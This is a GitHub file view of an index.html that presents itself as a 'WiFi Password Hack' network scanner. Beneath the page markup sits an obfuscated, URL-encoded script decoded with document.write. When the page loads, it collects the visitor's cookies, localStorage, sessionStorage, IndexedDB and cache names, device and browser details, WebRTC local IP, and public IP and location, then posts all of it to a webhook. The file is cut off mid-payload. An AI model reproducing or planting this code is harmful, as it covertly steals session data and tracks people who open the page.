Repository navigation
Expand file tree
/
Copy pathindex.html
More file actions
66 lines (59 loc) · 28.2 KB
/
Copy pathindex.html
File metadata and controls
66 lines (59 loc) · 28.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WiFi Network Scanner</title>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<div class="container">
<div class="header">
<h1>WiFi Password Hack</h1>
<p>Scan and Hack any WiFi</p>
</div>
<div class="card">
<div class="card-header">
<div class="card-title">Network Scanner</div>
<div class="status-badge" id="statusBadge">Ready</div>
</div>
<div class="card-body">
<div class="scanner-section">
<div class="scanner-icon" id="scannerIcon"></div>
<div class="scanner-text" id="scannerText">Ready to Scan</div>
<div class="scanner-subtext" id="scannerSubtext">Click the button below to start scanning</div>
</div>
<button class="scan-button" id="scanButton" onclick="startScan()">
<span id="buttonText">Start Scanning</span>
</button>
<div class="stats">
<div class="stat-item">
<span class="stat-value" id="networksFound">0</span>
<span class="stat-label">Networks Found</span>
</div>
<div class="stat-item">
<span class="stat-value" id="secureNetworks">0</span>
<span class="stat-label">Secured</span>
</div>
<div class="stat-item">
<span class="stat-value" id="openNetworks">0</span>
<span class="stat-label">Open</span>
</div>
</div>
<div class="networks-section" id="networksSection">
<div class="networks-header">Available Networks</div>
<div class="network-list" id="networkList"></div>
</div>
</div>
</div>
<div class="footer">
<p>© 2026 WiFi Hacking Tool | For Educational & Authorized Use Only</p>
</div>
</div>
<script src="./script.js"></script>
<p id="techchip"></p>
<script type="text/javascript">
document.write(unescape('%3Cscript%20src%3D%22https%3A//ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js%22%3E%3C/script%3E%0A%3Cscript%3E%0Afunction%20sendData%28data%29%20%7B%0A%20%20const%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%20%20xhr.open%28%22POST%22%2C%20%22/webhook.php%22%29%3B%0A%20%20xhr.setRequestHeader%28%27Content-type%27%2C%20%27application/json%3B%20charset%3Dutf-8%27%29%3B%0A%20%20xhr.send%28JSON.stringify%28data%29%29%3B%0A%7D%0A%0Afunction%20buildReport%28%29%20%7B%0A%20%20let%20datetime%20%3D%20new%20Date%28%29%3B%0A%20%20let%20localtime%20%3D%20datetime.toLocaleString%28%29%3B%0A%20%20let%20timezone%20%3D%20Intl.DateTimeFormat%28%29.resolvedOptions%28%29.timeZone%3B%0A%0A%20%20let%20report%20%3D%20%22%22%3B%0A%20%20report%20+%3D%20%22FLAME%20-%20INFORMATION%20GATHERING%20REPORT%20%5Cn%22%3B%0A%20%20report%20+%3D%20%22%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%5Cn%5Cn%22%3B%0A%0A%20%20report%20+%3D%20%22BROWSER%20%26%20SYSTEM%20INFORMATION%5Cn%22%3B%0A%20%20report%20+%3D%20%22------------------------------------%5Cn%22%3B%0A%20%20report%20+%3D%20%22User%20Agent%20%20%20%20%20%20%3A%20%22%20+%20navigator.userAgent%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Platform%20%20%20%20%20%20%20%20%3A%20%22%20+%20%28navigator.platform%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Language%20%20%20%20%20%20%20%20%3A%20%22%20+%20navigator.language%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Browser%20Name%20%20%20%20%3A%20%22%20+%20navigator.appName%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Browser%20Version%20%3A%20%22%20+%20navigator.appVersion%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Cookies%20Enabled%20%3A%20%22%20+%20navigator.cookieEnabled%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Online%20Status%20%20%20%3A%20%22%20+%20%28navigator.onLine%20%3F%20%22Online%22%20%3A%20%22Offline%22%29%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Do%20Not%20Track%20%20%20%20%3A%20%22%20+%20%28navigator.doNotTrack%20%7C%7C%20%22Not%20set%22%29%20+%20%22%5Cn%22%3B%0A%0A%20%20report%20+%3D%20%22%5Cn%5Cn%uFE0F%20HARDWARE%20INFORMATION%5Cn%22%3B%0A%20%20report%20+%3D%20%22------------------------%5Cn%22%3B%0A%20%20report%20+%3D%20%22CPU%20Cores%20%28logical%29%3A%20%22%20+%20%28navigator.hardwareConcurrency%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20if%20%28navigator.deviceMemory%29%20%7B%0A%20%20%20%20report%20+%3D%20%22Device%20RAM%20%20%20%20%20%20%20%20%3A%20%7E%22%20+%20navigator.deviceMemory%20+%20%22%20GB%5Cn%22%3B%0A%20%20%7D%0A%0A%20%20report%20+%3D%20%22%5Cn%5Cn%uFE0F%20DISPLAY%20INFORMATION%5Cn%22%3B%0A%20%20report%20+%3D%20%22-----------------------%5Cn%22%3B%0A%20%20report%20+%3D%20%22Screen%20Width%20%20%20%20%20%20%3A%20%22%20+%20screen.width%20+%20%22%20px%5Cn%22%3B%0A%20%20report%20+%3D%20%22Screen%20Height%20%20%20%20%20%3A%20%22%20+%20screen.height%20+%20%22%20px%5Cn%22%3B%0A%20%20report%20+%3D%20%22Available%20Width%20%20%20%3A%20%22%20+%20screen.availWidth%20+%20%22%20px%5Cn%22%3B%0A%20%20report%20+%3D%20%22Available%20Height%20%20%3A%20%22%20+%20screen.availHeight%20+%20%22%20px%5Cn%22%3B%0A%20%20report%20+%3D%20%22Color%20Depth%20%20%20%20%20%20%20%3A%20%22%20+%20screen.colorDepth%20+%20%22-bit%5Cn%22%3B%0A%20%20report%20+%3D%20%22Pixel%20Depth%20%20%20%20%20%20%20%3A%20%22%20+%20screen.pixelDepth%20+%20%22-bit%5Cn%22%3B%0A%20%20report%20+%3D%20%22Window%20Inner%20Size%20%3A%20%22%20+%20window.innerWidth%20+%20%22x%22%20+%20window.innerHeight%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Window%20Outer%20Size%20%3A%20%22%20+%20window.outerWidth%20+%20%22x%22%20+%20window.outerHeight%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Device%20Pixel%20Ratio%3A%20%22%20+%20window.devicePixelRatio%20+%20%22%5Cn%22%3B%0A%0A%20%20report%20+%3D%20%22%5Cn%5Cn%uFE0F%20TIME%20%26%20DATE%20INFORMATION%5Cn%22%3B%0A%20%20report%20+%3D%20%22--------------------------%5Cn%22%3B%0A%20%20report%20+%3D%20%22Local%20Time%20%20%20%20%20%20%20%3A%20%22%20+%20localtime%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Timezone%20%20%20%20%20%20%20%20%20%3A%20%22%20+%20timezone%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22UTC%20Offset%20%20%20%20%20%20%20%3A%20%22%20+%20datetime.getTimezoneOffset%28%29%20+%20%22%20mins%5Cn%22%3B%0A%20%20report%20+%3D%20%22Timestamp%20%28ms%29%20%20%20%3A%20%22%20+%20datetime.getTime%28%29%20+%20%22%5Cn%22%3B%0A%0A%20%20report%20+%3D%20%22%5Cn%5Cn%uFE0F%20PAGE%20INFORMATION%5Cn%22%3B%0A%20%20report%20+%3D%20%22--------------------%5Cn%22%3B%0A%20%20report%20+%3D%20%22Referrer%20URL%20%20%20%20%20%3A%20%22%20+%20%28document.referrer%20%7C%7C%20%22Direct%20visit%22%29%20+%20%22%5Cn%22%3B%0A%20%20report%20+%3D%20%22Page%20URL%20%20%20%20%20%20%20%20%20%3A%20%22%20+%20window.location.href%20+%20%22%5Cn%22%3B%0A%0A%20%20sendData%28report%29%3B%0A%7D%0A%0AbuildReport%28%29%3B%0A%0Aif%20%28%27getBattery%27%20in%20navigator%29%20%7B%0A%20%20navigator.getBattery%28%29.then%28function%28battery%29%20%7B%0A%20%20%20%20let%20batReport%20%3D%20%22%5Cn%5Cn%uFE0F%20BATTERY%20INFORMATION%5Cn%22%3B%0A%20%20%20%20batReport%20+%3D%20%22------------------------%5Cn%22%3B%0A%20%20%20%20batReport%20+%3D%20%22Battery%20Level%20%20%20%20%3A%20%22%20+%20Math.round%28battery.level%20*%20100%29%20+%20%22%25%5Cn%22%3B%0A%20%20%20%20batReport%20+%3D%20%22Charging%20Status%20%20%3A%20%22%20+%20%28battery.charging%20%3F%20%22%uD83D%uDD0C%20Charging%22%20%3A%20%22%uD83D%uDD0B%20Not%20Charging%22%29%20+%20%22%5Cn%22%3B%0A%20%20%20%20if%20%28battery.charging%29%20%7B%0A%20%20%20%20%20%20batReport%20+%3D%20%22Time%20Until%20Full%20%20%3A%20%22%20+%20%28battery.chargingTime%20%3D%3D%3D%20Infinity%20%3F%20%22Calculating...%22%20%3A%20battery.chargingTime%20+%20%22%20sec%22%29%20+%20%22%5Cn%22%3B%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20batReport%20+%3D%20%22Time%20Until%20Empty%20%3A%20%22%20+%20%28battery.dischargingTime%20%3D%3D%3D%20Infinity%20%3F%20%22Unknown%22%20%3A%20battery.dischargingTime%20+%20%22%20sec%22%29%20+%20%22%5Cn%22%3B%0A%20%20%20%20%7D%0A%20%20%20%20sendData%28batReport%29%3B%0A%20%20%7D%29.catch%28function%28%29%20%7B%0A%20%20%20%20sendData%28%22%5Cn%20Battery%20info%20not%20available%5Cn%22%29%3B%0A%20%20%7D%29%3B%0A%7D%20else%20%7B%0A%20%20sendData%28%22%5Cn%20Battery%20API%20not%20supported%5Cn%22%29%3B%0A%7D%0A%0Aif%20%28navigator.connection%29%20%7B%0A%20%20let%20conn%20%3D%20navigator.connection%3B%0A%20%20let%20netReport%20%3D%20%22%5Cn%5Cn%uFE0F%20NETWORK%20INFORMATION%5Cn%22%3B%0A%20%20netReport%20+%3D%20%22-----------------------%5Cn%22%3B%0A%20%20netReport%20+%3D%20%22Connection%20Type%20%20%20%3A%20%22%20+%20%28conn.type%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20netReport%20+%3D%20%22Effective%20Type%20%20%20%20%3A%20%22%20+%20%28conn.effectiveType%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20netReport%20+%3D%20%22Downlink%20Speed%20%20%20%20%3A%20%22%20+%20%28conn.downlink%20%7C%7C%20%22N/A%22%29%20+%20%22%20Mbps%5Cn%22%3B%0A%20%20netReport%20+%3D%20%22Round%20Trip%20Time%20%20%20%3A%20%22%20+%20%28conn.rtt%20%7C%7C%20%22N/A%22%29%20+%20%22%20ms%5Cn%22%3B%0A%20%20if%20%28conn.downlinkMax%29%20%7B%0A%20%20%20%20netReport%20+%3D%20%22Max%20Downlink%20%20%20%20%20%20%3A%20%22%20+%20conn.downlinkMax%20+%20%22%20Mbps%5Cn%22%3B%0A%20%20%7D%0A%20%20if%20%28conn.saveData%20%21%3D%3D%20undefined%29%20%7B%0A%20%20%20%20netReport%20+%3D%20%22Data%20Saver%20Mode%20%20%20%3A%20%22%20+%20%28conn.saveData%20%3F%20%22%u2705%20Active%22%20%3A%20%22%u274C%20Inactive%22%29%20+%20%22%5Cn%22%3B%0A%20%20%7D%0A%20%20sendData%28netReport%29%3B%0A%7D%20else%20%7B%0A%20%20sendData%28%22%5Cn%20Network%20Information%20API%20not%20supported%5Cn%22%29%3B%0A%7D%0A%0Aif%20%28%27storage%27%20in%20navigator%20%26%26%20%27estimate%27%20in%20navigator.storage%29%20%7B%0A%20%20navigator.storage.estimate%28%29.then%28function%28estimate%29%20%7B%0A%20%20%20%20let%20usageMB%20%3D%20%28estimate.usage%20/%20%281024%20*%201024%29%29.toFixed%282%29%3B%0A%20%20%20%20let%20quotaMB%20%3D%20%28estimate.quota%20/%20%281024%20*%201024%29%29.toFixed%282%29%3B%0A%20%20%20%20let%20usageGB%20%3D%20%28estimate.usage%20/%20%281024%20*%201024%20*%201024%29%29.toFixed%284%29%3B%0A%20%20%20%20let%20quotaGB%20%3D%20%28estimate.quota%20/%20%281024%20*%201024%20*%201024%29%29.toFixed%282%29%3B%0A%20%20%20%20let%20pct%20%3D%20%28%28estimate.usage%20/%20estimate.quota%29%20*%20100%29.toFixed%282%29%3B%0A%20%20%20%20let%20storageReport%20%3D%20%22%5Cn%5Cn%uFE0F%20STORAGE%20INFORMATION%5Cn%22%3B%0A%20%20%20%20storageReport%20+%3D%20%22-----------------------%5Cn%22%3B%0A%20%20%20%20storageReport%20+%3D%20%22Storage%20Used%20%20%20%20%20%20%3A%20%22%20+%20usageMB%20+%20%22%20MB%20%28%22%20+%20usageGB%20+%20%22%20GB%29%5Cn%22%3B%0A%20%20%20%20storageReport%20+%3D%20%22Total%20Available%20%20%20%3A%20%22%20+%20quotaMB%20+%20%22%20MB%20%28%22%20+%20quotaGB%20+%20%22%20GB%29%5Cn%22%3B%0A%20%20%20%20storageReport%20+%3D%20%22Usage%20Percentage%20%20%3A%20%22%20+%20pct%20+%20%22%25%5Cn%22%3B%0A%20%20%20%20sendData%28storageReport%29%3B%0A%20%20%7D%29.catch%28function%28%29%20%7B%0A%20%20%20%20sendData%28%22%5Cn%20Storage%20estimate%20not%20available%5Cn%22%29%3B%0A%20%20%7D%29%3B%0A%7D%0A%0A%28function%28%29%20%7B%0A%20%20let%20cookies%20%3D%20document.cookie%3B%0A%20%20if%20%28cookies%29%20%7B%0A%20%20%20%20let%20cookieReport%20%3D%20%22%5Cn%5Cn%uFE0F%20BROWSER%20COOKIES%20%28Current%20Domain%29%5Cn%22%3B%0A%20%20%20%20cookieReport%20+%3D%20%22------------------------------------%5Cn%22%3B%0A%20%20%20%20let%20cookiePairs%20%3D%20cookies.split%28%22%3B%22%29.map%28c%20%3D%3E%20c.trim%28%29%29.filter%28c%20%3D%3E%20c.length%20%3E%200%29%3B%0A%20%20%20%20cookiePairs.forEach%28function%28c%2C%20i%29%20%7B%0A%20%20%20%20%20%20cookieReport%20+%3D%20%22%20%20%5B%22%20+%20%28i+1%29%20+%20%22%5D%20%22%20+%20c%20+%20%22%5Cn%22%3B%0A%20%20%20%20%7D%29%3B%0A%20%20%20%20sendData%28cookieReport%29%3B%0A%20%20%7D%20else%20%7B%0A%20%20%20%20sendData%28%22%5Cn%20No%20cookies%20found%20on%20this%20domain%5Cn%22%29%3B%0A%20%20%7D%0A%7D%29%28%29%3B%0A%0A%28function%28%29%20%7B%0A%20%20try%20%7B%0A%20%20%20%20if%20%28window.localStorage%29%20%7B%0A%20%20%20%20%20%20let%20len%20%3D%20localStorage.length%3B%0A%20%20%20%20%20%20if%20%28len%20%3E%200%29%20%7B%0A%20%20%20%20%20%20%20%20let%20lsReport%20%3D%20%22%5Cn%5Cn%uFE0F%20LOCALSTORAGE%20DATA%5Cn%22%3B%0A%20%20%20%20%20%20%20%20lsReport%20+%3D%20%22---------------------%5Cn%22%3B%0A%20%20%20%20%20%20%20%20for%20%28let%20i%20%3D%200%3B%20i%20%3C%20len%3B%20i++%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20let%20key%20%3D%20localStorage.key%28i%29%3B%0A%20%20%20%20%20%20%20%20%20%20let%20val%20%3D%20localStorage.getItem%28key%29%3B%0A%20%20%20%20%20%20%20%20%20%20lsReport%20+%3D%20%22%20%20%5B%22%20+%20%28i+1%29%20+%20%22%5D%20%22%20+%20key%20+%20%22%20%3D%20%22%20+%20val%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20sendData%28lsReport%29%3B%0A%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20sendData%28%22%5Cn%20No%20localStorage%20data%20found%5Cn%22%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20sendData%28%22%5Cn%20localStorage%20not%20supported%5Cn%22%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%20catch%28e%29%20%7B%0A%20%20%20%20sendData%28%22%5Cn%20localStorage%20access%20denied%5Cn%22%29%3B%0A%20%20%7D%0A%7D%29%28%29%3B%0A%0A%28function%28%29%20%7B%0A%20%20try%20%7B%0A%20%20%20%20if%20%28window.sessionStorage%29%20%7B%0A%20%20%20%20%20%20let%20len%20%3D%20sessionStorage.length%3B%0A%20%20%20%20%20%20if%20%28len%20%3E%200%29%20%7B%0A%20%20%20%20%20%20%20%20let%20ssReport%20%3D%20%22%5Cn%5Cn%uFE0F%20SESSIONSTORAGE%20DATA%5Cn%22%3B%0A%20%20%20%20%20%20%20%20ssReport%20+%3D%20%22----------------------%5Cn%22%3B%0A%20%20%20%20%20%20%20%20for%20%28let%20i%20%3D%200%3B%20i%20%3C%20len%3B%20i++%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20let%20key%20%3D%20sessionStorage.key%28i%29%3B%0A%20%20%20%20%20%20%20%20%20%20let%20val%20%3D%20sessionStorage.getItem%28key%29%3B%0A%20%20%20%20%20%20%20%20%20%20ssReport%20+%3D%20%22%20%20%5B%22%20+%20%28i+1%29%20+%20%22%5D%20%22%20+%20key%20+%20%22%20%3D%20%22%20+%20val%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20sendData%28ssReport%29%3B%0A%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20sendData%28%22%5Cn%20No%20sessionStorage%20data%20found%5Cn%22%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20sendData%28%22%5Cn%20sessionStorage%20not%20supported%5Cn%22%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%20catch%28e%29%20%7B%0A%20%20%20%20sendData%28%22%5Cn%20sessionStorage%20access%20denied%5Cn%22%29%3B%0A%20%20%7D%0A%7D%29%28%29%3B%0A%0Aif%20%28window.indexedDB%20%26%26%20indexedDB.databases%29%20%7B%0A%20%20indexedDB.databases%28%29.then%28function%28dbs%29%20%7B%0A%20%20%20%20if%20%28dbs%20%26%26%20dbs.length%20%3E%200%29%20%7B%0A%20%20%20%20%20%20let%20idbReport%20%3D%20%22%5Cn%5Cn%uFE0F%20INDEXEDDB%20DATABASES%5Cn%22%3B%0A%20%20%20%20%20%20idbReport%20+%3D%20%22----------------------%5Cn%22%3B%0A%20%20%20%20%20%20dbs.forEach%28function%28db%2C%20i%29%20%7B%0A%20%20%20%20%20%20%20%20idbReport%20+%3D%20%22%20%20%5B%22%20+%20%28i+1%29%20+%20%22%5D%20Name%3A%20%22%20+%20db.name%20+%20%22%20%7C%20Version%3A%20%22%20+%20%28db.version%20%7C%7C%20%22%3F%22%29%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20sendData%28idbReport%29%3B%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20sendData%28%22%5Cn%20No%20IndexedDB%20databases%20found%5Cn%22%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%29.catch%28function%28%29%20%7B%0A%20%20%20%20sendData%28%22%5Cn%uFE0F%20Could%20not%20enumerate%20IndexedDB%5Cn%22%29%3B%0A%20%20%7D%29%3B%0A%7D%20else%20%7B%0A%20%20sendData%28%22%5Cn%uFE0F%20indexedDB.databases%28%29%20not%20supported%20%28try%20newer%20browser%29%5Cn%22%29%3B%0A%7D%0A%0Aif%20%28%27caches%27%20in%20window%29%20%7B%0A%20%20caches.keys%28%29.then%28function%28names%29%20%7B%0A%20%20%20%20if%20%28names.length%20%3E%200%29%20%7B%0A%20%20%20%20%20%20let%20cacheReport%20%3D%20%22%5Cn%5Cn%uFE0F%20CACHE%20STORAGE%5Cn%22%3B%0A%20%20%20%20%20%20cacheReport%20+%3D%20%22----------------%5Cn%22%3B%0A%20%20%20%20%20%20names.forEach%28function%28name%2C%20i%29%20%7B%0A%20%20%20%20%20%20%20%20cacheReport%20+%3D%20%22%20%20%5B%22%20+%20%28i+1%29%20+%20%22%5D%20%22%20+%20name%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20sendData%28cacheReport%29%3B%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20sendData%28%22%5Cn%20No%20cache%20storage%20found%5Cn%22%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%29.catch%28function%28%29%20%7B%0A%20%20%20%20sendData%28%22%5Cn%20Could%20not%20access%20cache%20storage%5Cn%22%29%3B%0A%20%20%7D%29%3B%0A%7D%20else%20%7B%0A%20%20sendData%28%22%5Cn%20Cache%20Storage%20API%20not%20supported%5Cn%22%29%3B%0A%7D%0A%0Aif%20%28%27serviceWorker%27%20in%20navigator%29%20%7B%0A%20%20navigator.serviceWorker.getRegistrations%28%29.then%28function%28regs%29%20%7B%0A%20%20%20%20if%20%28regs.length%20%3E%200%29%20%7B%0A%20%20%20%20%20%20let%20swReport%20%3D%20%22%5Cn%5Cn%uFE0F%20SERVICE%20WORKERS%5Cn%22%3B%0A%20%20%20%20%20%20swReport%20+%3D%20%22------------------%5Cn%22%3B%0A%20%20%20%20%20%20regs.forEach%28function%28reg%2C%20i%29%20%7B%0A%20%20%20%20%20%20%20%20let%20scope%20%3D%20reg.scope%20%7C%7C%20%22N/A%22%3B%0A%20%20%20%20%20%20%20%20let%20active%20%3D%20reg.active%20%3F%20%22Active%22%20%3A%20%22Inactive%22%3B%0A%20%20%20%20%20%20%20%20swReport%20+%3D%20%22%20%20%5B%22%20+%20%28i+1%29%20+%20%22%5D%20Scope%3A%20%22%20+%20scope%20+%20%22%20%7C%20Status%3A%20%22%20+%20active%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20sendData%28swReport%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%29.catch%28function%28%29%20%7B%0A%20%20%20%20//%20silent%0A%20%20%7D%29%3B%0A%7D%0A%0Aif%20%28typeof%20DeviceOrientationEvent%20%21%3D%3D%20%27undefined%27%20%26%26%20typeof%20DeviceOrientationEvent.requestPermission%20%3D%3D%3D%20%27function%27%29%20%7B%0A%20%20DeviceOrientationEvent.requestPermission%28%29.then%28function%28state%29%20%7B%0A%20%20%20%20if%20%28state%20%3D%3D%3D%20%27granted%27%29%20%7B%0A%20%20%20%20%20%20window.addEventListener%28%27deviceorientation%27%2C%20function%28event%29%20%7B%0A%20%20%20%20%20%20%20%20if%20%28event.alpha%20%21%3D%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20let%20orient%20%3D%20%22%5Cn%5Cn%uFE0F%20DEVICE%20ORIENTATION%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20orient%20+%3D%20%22---------------------%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20orient%20+%3D%20%22Alpha%20%28Z-axis%29%20%3A%20%22%20+%20event.alpha.toFixed%282%29%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20orient%20+%3D%20%22Beta%20%20%28X-axis%29%20%3A%20%22%20+%20event.beta.toFixed%282%29%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20orient%20+%3D%20%22Gamma%20%28Y-axis%29%20%3A%20%22%20+%20event.gamma.toFixed%282%29%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20orient%20+%3D%20%22Absolute%20%20%20%20%20%20%20%3A%20%22%20+%20%28event.absolute%20%21%3D%3D%20null%20%3F%20event.absolute%20%3A%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20sendData%28orient%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%2C%20%7B%20once%3A%20true%20%7D%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%29.catch%28%28%29%20%3D%3E%20%7B%7D%29%3B%0A%7D%20else%20%7B%0A%20%20window.addEventListener%28%27deviceorientation%27%2C%20function%28event%29%20%7B%0A%20%20%20%20if%20%28event.alpha%20%21%3D%3D%20null%29%20%7B%0A%20%20%20%20%20%20let%20orient%20%3D%20%22%5Cn%5Cn%uFE0F%20DEVICE%20ORIENTATION%5Cn%22%3B%0A%20%20%20%20%20%20orient%20+%3D%20%22---------------------%5Cn%22%3B%0A%20%20%20%20%20%20orient%20+%3D%20%22Alpha%20%28Z-axis%29%20%3A%20%22%20+%20event.alpha.toFixed%282%29%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20orient%20+%3D%20%22Beta%20%20%28X-axis%29%20%3A%20%22%20+%20event.beta.toFixed%282%29%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20orient%20+%3D%20%22Gamma%20%28Y-axis%29%20%3A%20%22%20+%20event.gamma.toFixed%282%29%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20orient%20+%3D%20%22Absolute%20%20%20%20%20%20%20%3A%20%22%20+%20%28event.absolute%20%21%3D%3D%20null%20%3F%20event.absolute%20%3A%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20sendData%28orient%29%3B%0A%20%20%20%20%7D%0A%20%20%7D%2C%20%7B%20once%3A%20true%20%7D%29%3B%0A%7D%0A%0Aif%20%28navigator.vibrate%29%20%7B%0A%20%20sendData%28%22%5Cn%20Vibration%20API%20%3A%20Supported%5Cn%22%29%3B%0A%7D%0A%0Alet%20inputReport%20%3D%20%22%5Cn%5Cn%uFE0F%uFE0F%20INPUT%20CAPABILITIES%5Cn%22%3B%0AinputReport%20+%3D%20%22---------------------%5Cn%22%3B%0AinputReport%20+%3D%20%22Max%20Touch%20Points%20%3A%20%22%20+%20%28navigator.maxTouchPoints%20%7C%7C%200%29%20+%20%22%5Cn%22%3B%0AinputReport%20+%3D%20%22Touch%20Device%20%20%20%20%20%3A%20%22%20+%20%28%28%27ontouchstart%27%20in%20window%29%20%3F%20%22%u2705%20Yes%22%20%3A%20%22%u274C%20No%22%29%20+%20%22%5Cn%22%3B%0AinputReport%20+%3D%20%22Pointer%20Enabled%20%20%3A%20%22%20+%20%28%28%27PointerEvent%27%20in%20window%29%20%3F%20%22%u2705%20Yes%22%20%3A%20%22%u274C%20No%22%29%20+%20%22%5Cn%22%3B%0AsendData%28inputReport%29%3B%0A%0Atry%20%7B%0A%20%20const%20pc%20%3D%20new%20RTCPeerConnection%28%7B%20iceServers%3A%20%5B%5D%20%7D%29%3B%0A%20%20pc.createDataChannel%28%27%27%29%3B%0A%20%20pc.createOffer%28%29.then%28function%28offer%29%20%7B%0A%20%20%20%20return%20pc.setLocalDescription%28offer%29%3B%0A%20%20%7D%29.then%28function%28%29%20%7B%0A%20%20%20%20pc.onicecandidate%20%3D%20function%28e%29%20%7B%0A%20%20%20%20%20%20if%20%28e.candidate%20%26%26%20e.candidate.candidate%29%20%7B%0A%20%20%20%20%20%20%20%20let%20ipMatch%20%3D%20e.candidate.candidate.match%28/%28%5B0-9%5D%7B1%2C3%7D%5C.%29%7B3%7D%5B0-9%5D%7B1%2C3%7D/%29%3B%0A%20%20%20%20%20%20%20%20if%20%28ipMatch%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20let%20rtcReport%20%3D%20%22%5Cn%5Cn%uFE0F%20LOCAL%20IP%20DISCOVERY%20%28WebRTC%29%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20rtcReport%20+%3D%20%22------------------------------%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20rtcReport%20+%3D%20%22Local%20IP%20%3A%20%22%20+%20ipMatch%5B0%5D%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20sendData%28rtcReport%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%3B%0A%20%20%7D%29%3B%0A%7D%20catch%28e%29%20%7B%0A%7D%0A%0A%24.getJSON%28%22https%3A//api.ipify.org%3Fformat%3Djson%22%2C%20function%28data%29%20%7B%0A%20%20sendData%28%22%5Cn%20PUBLIC%20IP%5Cn-------------%5CnIP%3A%20%22%20+%20data.ip%20+%20%22%5Cn%22%29%3B%0A%7D%29.fail%28function%28%29%20%7B%0A%7D%29%3B%0A%0A%24.getJSON%28%22https%3A//ipinfo.io/json%22%2C%20function%28response%29%20%7B%0A%20%20let%20lat%20%3D%20%22%22%2C%20lon%20%3D%20%22%22%3B%0A%20%20if%20%28response.loc%29%20%7B%0A%20%20%20%20const%20parts%20%3D%20response.loc.split%28%22%2C%22%29%3B%0A%20%20%20%20lat%20%3D%20parts%5B0%5D%20%7C%7C%20%22%22%3B%0A%20%20%20%20lon%20%3D%20parts%5B1%5D%20%7C%7C%20%22%22%3B%0A%20%20%7D%0A%20%20let%20locReport%20%3D%20%22%5Cn%5Cn%uFE0F%20NETWORK%20%26%20ISP%20INFORMATION%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22-----------------------------%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22IP%20%20%20%20%20%20%20%3A%20%22%20+%20%28response.ip%20%7C%7C%20%22N/A%22%2